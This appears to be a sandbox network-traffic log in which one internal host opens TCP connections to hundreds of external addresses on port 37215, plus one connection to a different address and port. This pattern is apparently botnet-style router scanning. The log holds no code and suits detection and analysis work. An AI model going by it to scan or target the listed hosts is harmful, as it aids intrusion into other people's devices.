Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.207.226.174:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.239.125.2:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 174.62.1.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.143.144.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.206.244.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.83.107.207:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.9.229.216:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 206.144.141.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.23.49.94:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.167.26.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.242.203.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.219.139.166:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.8.22.252:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.255.182.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.245.120.125:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.247.232.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.1.114.9:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.167.40.108:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.222.163.160:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.127.210.255:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.197.113.189:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 85.146.51.238:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.85.128.29:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.33.241.43:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.202.86.168:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.6.140.182:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.124.133.252:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.191.42.252:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.61.208.228:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.22.211.160:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.95.39.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 58.128.8.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.210.53.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 69.25.81.103:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 40.202.211.160:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.164.82.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.68.233.163:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.174.112.217:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.232.37.160:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 4.215.80.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.42.34.60:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.103.42.116:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.62.12.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.62.19.60:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.37.168.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.16.21.124:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.152.121.238:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.210.8.130:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.97.184.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 78.27.91.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.48.244.137:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 44.101.146.45:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.17.27.158:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.118.61.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 23.18.130.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.218.132.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.203.174.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 63.19.152.73:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 131.4.112.77:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.32.206.168:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.52.6.224:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.154.144.207:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.225.209.146:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.176.136.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.168.198.4:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.7.66.203:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.236.11.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.70.244.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.33.219.252:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.108.66.217:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 155.255.92.5:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.37.116.46:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 168.83.23.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.137.62.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.201.155.129:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.249.235.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.18.66.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.68.65.76:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.69.222.125:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 94.68.234.32:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.243.134.25:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.18.2.48:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.59.215.113:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.186.237.198:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.113.216.46:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.128.17.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 71.90.209.214:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.147.45.78:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.156.21.80:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.142.126.93:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 95.42.93.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.204.223.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.155.152.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.9.65.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.142.69.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.89.228.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 44.246.18.235:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.25.87.130:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 95.117.37.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.74.173.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 118.49.0.35:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 199.157.220.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.102.103.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 159.115.137.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.29.97.204:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.68.153.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.169.15.120:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 123.251.85.89:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.170.222.109:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.2.117.218:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.87.127.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.59.21.45:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.181.140.166:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.144.89.174:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 218.238.31.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.208.40.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.134.122.158:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.120.35.91:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.107.150.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 213.182.8.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.20.67.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 13.51.58.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 194.5.72.207:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.226.203.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.70.189.128:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.75.61.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.88.169.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.252.155.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.154.125.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.197.13.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.229.53.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:41224 -> 103.172.79.74:43957
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 20.220.61.130:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 54.245.132.113:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.84.19.9:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 141.121.77.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 113.92.46.178:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.57.48.231:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 148.26.147.99:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.116.240.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.172.87.16:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.220.92.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 155.120.208.223:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.242.184.243:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.252.45.162:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 82.184.164.176:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 188.44.37.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.187.151.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.38.165.248:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.197.133.52:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.221.226.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.196.30.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.106.77.203:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.100.204.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.98.178.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.66.141.48:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.104.21.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.68.58.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 86.157.120.8:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 96.40.211.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.90.143.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.128.83.200:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.172.189.46:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.30.247.209:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.176.117.36:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.11.24.236:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.157.189.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.113.191.89:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.81.117.49:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.3.97.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.129.48.98:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.224.208.135:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.109.97.149:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.243.135.238:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.88.235.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 187.165.107.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.136.92.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 122.222.210.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.16.250.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.111.159.78:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.212.21.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.34.125.111:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.52.160.197:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.170.244.245:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 50.43.20.91:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.11.75.91:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.111.37.200:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.86.206.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.36.81.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.149.92.22:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.155.158.48:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.141.15.91:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.40.133.236:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.161.163.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.53.38.21:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.166.61.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.75.200.22:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.195.60.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.47.8.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.49.134.219:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.233.232.197:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.157.13.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 186.93.92.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.130.91.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 179.158.130.193:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.153.119.130:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.22.55.29:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.74.247.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 49.105.130.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 39.122.102.109:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.56.62.89:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.118.158.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.149.70.146:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.39.2.24:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.15.250.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.187.224.169:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 160.3.243.115:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 4.205.19.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 73.9.247.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.200.45.5:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.192.152.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.248.76.169:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.24.113.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.34.115.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.224.207.219:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.151.128.249:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 111.33.156.180:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.54.229.75:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.193.93.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.94.235.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.89.144.141:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.175.127.49:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 79.249.52.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.33.198.161:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.110.87.124:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 13.228.85.240:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.14.217.241:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.32.188.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 20.208.224.130:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.158.124.67:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 205.219.173.138:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 187.130.177.75:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.206.244.218:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.17.14.197:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.96.203.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 95.44.151.224:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.51.45.141:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 136.216.177.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.213.61.54:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.199.251.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.85.164.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 25.73.150.170:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.160.81.37:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.62.204.31:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.1.154.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.162.71.9:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.130.101.103:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.12.149.29:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 120.176.219.57:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 79.85.101.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.44.11.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 154.126.114.81:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.235.35.128:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.60.142.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.60.56.75:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.245.142.3:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.171.246.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.219.20.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.9.32.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.41.189.98:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.88.56.245:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.27.4.34:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.148.95.224:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 191.204.14.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 133.214.229.86:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.0.83.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 32.70.67.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 95.130.169.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 149.156.251.143:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 69.13.223.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.40.3.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.5.119.30:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 102.138.12.116:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.122.146.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.108.134.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 208.185.36.200:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.177.15.6:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.43.103.23:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.229.13.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.30.187.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.224.75.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.247.43.245:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 24.64.109.83:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.220.132.243:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.189.211.63:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.37.161.16:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 14.172.91.254:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.149.157.113:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.42.171.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.23.215.25:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 182.54.200.67:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 119.221.98.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.5.202.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.90.133.148:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.202.16.23:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.37.85.128:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.194.180.216:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.56.222.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.58.22.189:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.186.84.50:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.227.219.71:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 183.27.108.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.253.9.204:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.138.31.174:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 194.144.133.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.128.115.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.93.204.106:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.223.247.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.50.253.193:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.248.80.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.152.68.217:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 198.120.19.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 186.99.230.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.141.192.86:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.37.134.26:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.17.192.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.64.137.136:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.246.6.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.54.182.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.78.132.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.249.251.137:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.246.62.231:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 148.144.135.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.11.222.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.68.56.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.220.210.117:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.219.109.149:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.169.86.210:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.94.214.149:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.48.118.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.192.132.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.45.13.235:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.14.82.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.209.65.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 66.46.73.81:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 98.41.219.158:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.229.66.32:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.215.248.5:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.248.116.212:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.144.167.116:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.207.14.162:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 118.55.166.224:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.126.56.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.63.139.103:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.244.157.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 201.9.108.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.199.76.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.17.222.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.105.64.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 80.0.4.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.189.55.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.16.104.247:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.202.207.137:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.47.169.115:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.92.115.105:37215
